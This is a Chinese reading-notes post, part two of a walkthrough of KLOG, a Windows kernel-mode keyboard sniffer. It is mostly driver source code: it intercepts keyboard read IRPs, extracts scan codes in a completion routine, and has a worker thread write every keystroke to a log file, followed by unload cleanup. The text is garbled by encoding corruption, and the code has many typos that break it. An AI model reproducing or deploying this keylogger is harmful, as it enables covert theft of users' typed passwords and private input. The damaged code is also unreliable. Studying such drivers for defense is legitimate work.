读书笔记_键盘嗅探器(2)
為處理READ請求而調(diào)用的例程是DispatchRead。下面具體分析該函數(shù):
NTSTAUS DispatchRead ( IN PDEVICE_OBJECT pDeviceObject, IN PIRPpIrp)
{
當(dāng)一個READ請求到達(dá)鍵盤控制器時,就調(diào)用該函數(shù)。這時IRP中并沒有可用的數(shù)據(jù)。相反我們希望在捕獲了擊鍵動作之后查看IRP——當(dāng)IRP正在沿著設(shè)備鏈向上傳輸時。
關(guān)于IRP已經(jīng)完成的唯一通知方式是設(shè)置完成例程,如果沒有設(shè)置完成例程,則當(dāng)IRP沿著設(shè)備鏈上返回是會忽略我們的存在。
將IRP傳遞給鏈中次底層設(shè)備時,需要設(shè)置IRP堆棧指針(stack pointer).術(shù)語堆棧在此處容易產(chǎn)生誤解:每個設(shè)備只是在每個IRP中有一段私有的可用內(nèi)存。這些私有區(qū)域以指定順序排列。通過IoGetCurrentIrpStackLocation和IoGetNextIrpStackLocation調(diào)用來獲取這些私有區(qū)域的指針,在傳遞IRP之前,一個“當(dāng)前”指針必須指向低層驅(qū)動程序的私有區(qū)域,因此,在調(diào)用IoCallDriver之前要調(diào)用IoCopyCurrentIrpStackLocationToNext;
// Copy parameters down to next level in the stack
// for the driver below us
IoCopyCurrentIrpStackLocationToNext(pIrp);
// Note that the completion routine is named “OnReadCompleion”:
// Set the completion callback
IoSetCompletionRoutine(pIrp,
OnReadCompletion,
pDeviceObject,
TRUE,
TRUE,
TRUE);
將掛起的IRP數(shù)目記錄下來,以便等處理完成后再卸載驅(qū)動程序
// Track the # of pending IRPs
numPendingIrps++;
最后通過IoCallDriver將IRP傳遞給鏈中的次底層設(shè)備,記住指向低層次設(shè)備的指針存儲在Device_Extension中的pKeyboardDevice中。
// Pass the IRP on down to \the driver underneath us
Return IoCallDriver(
((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)
->pKeyboardDevice, pIrp);
}// end DispatchRead
現(xiàn)在可以看到,每個READIRP在處理之后可用于OnReadCompletion例程中。進(jìn)一步對比加以分析:
NSTATUS OnReadCompletion ( IN PDEVICE_OBJECT pDeviceObject,
INPRP pIrp, IN PVOID Context)
{
// Get the device extension– we’ll need to use it later
PDEVICE_EXTENSIONpKeyboardDeviceExtension =(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
檢查IRP狀態(tài),它可以當(dāng)作返回碼或錯誤碼,該值為STATUS_SUCCESS表明IRP已成功完成并且應(yīng)該記錄了擊鍵數(shù)據(jù)。SystemBuffer成員指向KEYBOARD_INPUT_DATA結(jié)構(gòu)的數(shù)組。IoStatus.Information成員包含了該數(shù)組的長度:
If(pIrp->IoStatus.Status == STATUS_SUCCESS)
{
PKEYBOARD_INPUT_DATA keys =(PKEYBORAD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
Int numKeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);
KEYBOARD_INPUT_DATA結(jié)構(gòu)定義如下:
Typedef struct _KEYBOARD_INPUT_DATA{
USHORT UnitId;
USHORT MakeCode;
USHORT Flags;
USHORT Reserved;
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
然后示例程序循環(huán)遍歷所有的數(shù)組成員,從每個成員中獲取擊鍵動作:
For(int I = 0; I < numkeys; i++)
{
DbgPrint(“ScanCode: %x\n”,keys[i].MakeCode);
注意會收到兩個事件:鍵按下和鍵釋放。對于簡單的擊鍵監(jiān)視器來說,只需關(guān)注其中一個事件,KEY_MAKE是一個重要標(biāo)志。
If(keys[i].Flags == KEY_MAKE)
DbgPrint(“%s\n”, “Key Down”)l
上述完成例程在IRQL級別DISPATCH_LEVEL上執(zhí)行,這意味著它不允許文件操作,為了避開這個限制,示例程序通過一個共享鏈表將擊鍵動作傳遞給worker線程。對該鏈表的訪問必須采用關(guān)鍵段來同步。內(nèi)核實施以下規(guī)則:一次只能有一個線程執(zhí)行關(guān)鍵段。此處不能使用延遲過程調(diào)用(Deferred Procedure Call, DPC),因此DPC也運行在DISPATCH_LEVEL級別上。
驅(qū)動程序分配一些NonPagedPool內(nèi)存,并將掃描碼放入其中,然后將其置入鏈表中。因為運行在DISPATCH級別上,所以只能從NonPagedPool中分配內(nèi)存。
KEY_DATA* kData =(KEY_DATA*)ExAllocatePool(NonPagedPool, sizeof(KEY_DATA));
// Fill in kData structure with info from IRP
kData->KeyData = (char)keys[i].MakeCode;
kData->KeyFlags=(char)keys[i].Flgas;
// Add the scan code to the linked list
// queue so our worker thread
// can write it out to a file
DbgPrint(“Adding IRP to work queue…”);
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
// The semaphore is incremented to indicate that some data needs tobe processed
// Increment the semaphore by 1 – no WaitForXXX after this call
KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,
0,
1,
FALSE);
}
}
If(pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
示例完成了對IRP的處理,將IRP計數(shù)遞減
numPendingIrps- -;
return pIrp->IoStatus.Status;
}
此時在鏈表中已保存了一個擊鍵動作,它用于worker線程,下面介紹worker線程的例程:
VOID ThreadKeyLogger ( IN PVOID pContext)
{
PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;
PDEVICE_OBJECTpKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;
PLIST_ENTRY pListEntry;
KEY_DATA *kData; // custom data structure used to hold scancodes inthe linked list
KLOG進(jìn)入一個處理循環(huán)。代碼通過KeWaitForSingleObject等待信號量。若信號量遞增,則處理循環(huán)繼續(xù)運行
While(true)
{
// Wait for data to becomeavailable in the queue
KeWaitForSingleObject(
&pKeyboardDeviceExtension->semQueue,
Executive,
KernelMode,
FALSE,
NULL);
從鏈表中安全刪除了最高端項。注意關(guān)鍵段的用法:
pListEntry = ExInterlockedRemoveHeadList(
&pKeyboardDeviceExtension->QueueListHead,
&pKeyboardDeviceEntension->lockQueue);
內(nèi)核線程不能從外部終止,它們只能終止自身。KLOG檢查一個標(biāo)志以判斷是否應(yīng)該終止worker線程。該操作應(yīng)該只放生在卸載KLOG時。
If(pKeyboardDeviceExtension->bThreadTerminate == true)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
必須使用CONTAINING_RECORD宏來獲得指向pListEntry結(jié)構(gòu)中數(shù)據(jù)的指針:
kData = CONTANING_RECORD(pListEntry, KEY_DATA, ListEntry);
KLOG獲取掃描碼并將其轉(zhuǎn)換成鍵盤碼。這通過ConvertScanCodeToKeyCode工具函數(shù)完成,該函數(shù)只識別美國英語鍵盤布局,盡管它很容易替換為適用于其他鍵盤布局的代碼。
// Convert the scan code to a key code
Char keys[3] = {0};
ConvertScanCodeToKeyCode(pKeyboardDeviceExtension, kData, keys);
// Make sure the key has returned a valid code
// before writing it to the file
If (keys != 0)
{
若文件句柄是有效的,則使用ZwWriteFile將鍵盤盤碼寫入日志:
// Write the data out to a file
If(pKeyboardDeviceExtension->hLogFile != NULL)
{
IO_STATUS_BLOCK io_status;
NTSTATUS status =ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
NULL,
NULL,
NULL,
&io_status,
&keys,
Strlen(keys),
NULL,
NULL);
If(status != STATUS_SUCCESS)
DbgPrint(“Writing scancode to file…\n”);
Else
DbgPrint(“Scan code ‘%s’successfully written to file.\n”, keys);
}// end if
}// end if
}// end while
Return;
} // end ThreadLogKeyboard
以上是KLOG的主要操作。下面分析Unload例程
VOID Unload ( IN PDRIVER_OBJECT pDriverObject)
{
// Get the pointer to thedevice extension
PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
DbgPrint(“Driver Unload Called… \n”);
驅(qū)動程序必須使用IoDetachDevice函數(shù)取下分層設(shè)備的鉤子:
// Detach from the device underneath that we’re hooked to.
IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
DbgPrint(“Keyboard hook detached from device…\n”);
下面使用了一個定時器,KLOG進(jìn)入一個短循環(huán),直到所有IRP完成處理:
// Create a timer
KTIMER kTimer;
LARGE_INTEGER timeout;
Timeout.QuadPart = 1000000;
KeInitializeTimer(&kTimer);
在某個IRP正在等待擊鍵動作,則直到按下一個鍵后卸載才能完成:
While(numPendingIrps > 0)
{
// Set the timer
KeSetTimer(&kTimer, timeout,NULL);
KeWaitForSingleObject(
&kTimer,
Executive,
KernelMode,
False,
NULL);
}
此時KLOG指示worker線程應(yīng)該終止:
// Set our key logger worker thread to terminate
pKeyboardDeviceExtension->bThreadTerminate = true;
// Wake up the thread if its blocked & WaitForXXX after thiscall
KeReleaseSemaphore(
&pKeyboardDeviceExtension->semQueue,
0,
1,
TRUE);
KLOG使用線程指針調(diào)用KeWaitForSingleObject, 一直等候到該線程已終止:
// Wait until the worker thread terminates
DbgPrint(“Waiting for key logger thread to terminate…\n”);
KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,
Executive,
KernelMode,
False,NULL);
DbgPrint(“Key logger thread terminated\n”);
最后關(guān)閉日志文件:
// close the log file
ZwClose(pKeyboardDeviceExtension->hLogFile);
還執(zhí)行一些適當(dāng)?shù)某R?guī)清理動作:
// Delete the device
IoDeleteDevice(pDriverObject->DeviceObject);
DbgPrint(“Tagged IRPs dead … Terminating ...\n”);
Return;
}
鍵盤嗅探器結(jié)束。總結(jié)
以上是生活随笔為你收集整理的读书笔记_键盘嗅探器(2)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 禹贡(Yukon)空间数据库 QA 集锦
- 下一篇: 看rom助手如何教你脱离伸手党,做出自己